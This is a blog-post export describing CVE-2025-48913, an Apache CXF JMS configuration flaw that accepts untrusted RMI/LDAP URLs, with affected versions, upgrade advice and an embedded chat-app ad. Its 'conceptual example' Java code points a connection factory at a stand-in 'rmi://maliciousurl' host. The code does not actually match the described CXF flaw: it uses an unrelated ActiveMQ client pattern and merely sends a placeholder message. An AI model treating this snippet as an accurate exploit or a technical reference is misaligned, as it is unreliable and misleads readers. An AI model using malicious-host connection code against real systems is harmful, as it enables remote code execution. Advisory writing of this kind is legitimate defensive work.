{"id":64039,"date":"2025-08-14T02:12:33","date_gmt":"2025-08-14T02:12:33","guid":{"rendered":""},"modified":"2025-09-03T03:48:04","modified_gmt":"2025-09-03T09:48:04","slug":"cve-2025-48913-critical-vulnerability-in-apache-cxf-jms-configuration","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48913-critical-vulnerability-in-apache-cxf-jms-configuration\/","title":{"rendered":"<strong>CVE-2025-48913: Critical Vulnerability in Apache CXF JMS Configuration<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-48913 vulnerability is a critical flaw found in the Java Message Service (JMS) for Apache CXF, an open-source services framework. This vulnerability poses a significant threat to all systems and applications utilizing Apache CXF, potentially leading to system compromise or data leakage. Given the extensive usage of Apache CXF in building and developing web services, this issue is not to be underestimated and calls for immediate attention and action.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48913<br \/>\nSeverity: Critical, CVSS Score 9.8<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21432-memory-corruption-vulnerability-resulting-in-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"75999\">System Compromise or Data<\/a> Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1931756480\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Apache CXF | <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55010-arbitrary-php-object-instantiation-in-kanboard-prior-to-version-1-2-47\/\"  data-wpil-monitor-id=\"78083\">Versions prior<\/a> to 3.6.8, 4.0.9, 4.1.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from the JMS configuration in Apache CXF, which <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44955-critical-vulnerability-in-ruckus-network-director-allows-jail-users-to-gain-root-access\/\"  data-wpil-monitor-id=\"75998\">allowed untrusted users<\/a> to use RMI or LDAP URLs. This could potentially result in code execution capabilities, enabling an attacker to execute <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32451-memory-corruption-vulnerability-in-foxit-reader-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"74435\">arbitrary code<\/a> on the host system. The patch restricts the interface to reject these protocols, thereby mitigating the risk.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1327148054\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how this vulnerability might be exploited. The following pseudocode simulates an untrusted user configuring the JMS with a malicious RMI URL:<\/p>\n<pre><code class=\"\" data-line=\"\">import javax.jms.*;\npublic class ExploitCVE202548913 {\npublic static void main(String[] args) {\nConnectionFactory connFactory = new ActiveMQConnectionFactory(&quot;rmi:\/\/maliciousurl&quot;);\nConnection conn = connFactory.createConnection();\nSession session = conn.createSession(false, Session.AUTO_ACKNOWLEDGE);\nDestination destination = session.createQueue(&quot;test.queue&quot;);\nMessageProducer producer = session.createProducer(destination);\nTextMessage message = session.createTextMessage();\nmessage.setText(&quot;Malicious code here&quot;);\nproducer.send(message);\nconn.close();\n}\n}<\/code><\/pre>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36014-ibm-integration-bus-code-injection-vulnerability\/\"  data-wpil-monitor-id=\"72281\">code would allow untrusted users to inject<\/a> malicious payloads that could potentially lead to remote code execution.<\/p>\n<p><strong>Recommendations for Mitigation<\/strong><\/p>\n<p>To protect your systems from this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43275-critical-race-condition-vulnerability-in-macos\/\"  data-wpil-monitor-id=\"71623\">critical vulnerability<\/a>, it is advised to upgrade your Apache CXF to versions 3.6.8, 4.0.9 or 4.1.3, which have been released to rectify this issue. If immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. However, these should not be considered as a long-term solution, and patching should be prioritized to ensure maximum security.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-48913 vulnerability is a critical flaw found in the Java Message Service (JMS) for Apache CXF, an open-source services framework. This vulnerability poses a significant threat to all systems and applications utilizing Apache CXF, potentially leading to system compromise or data leakage. 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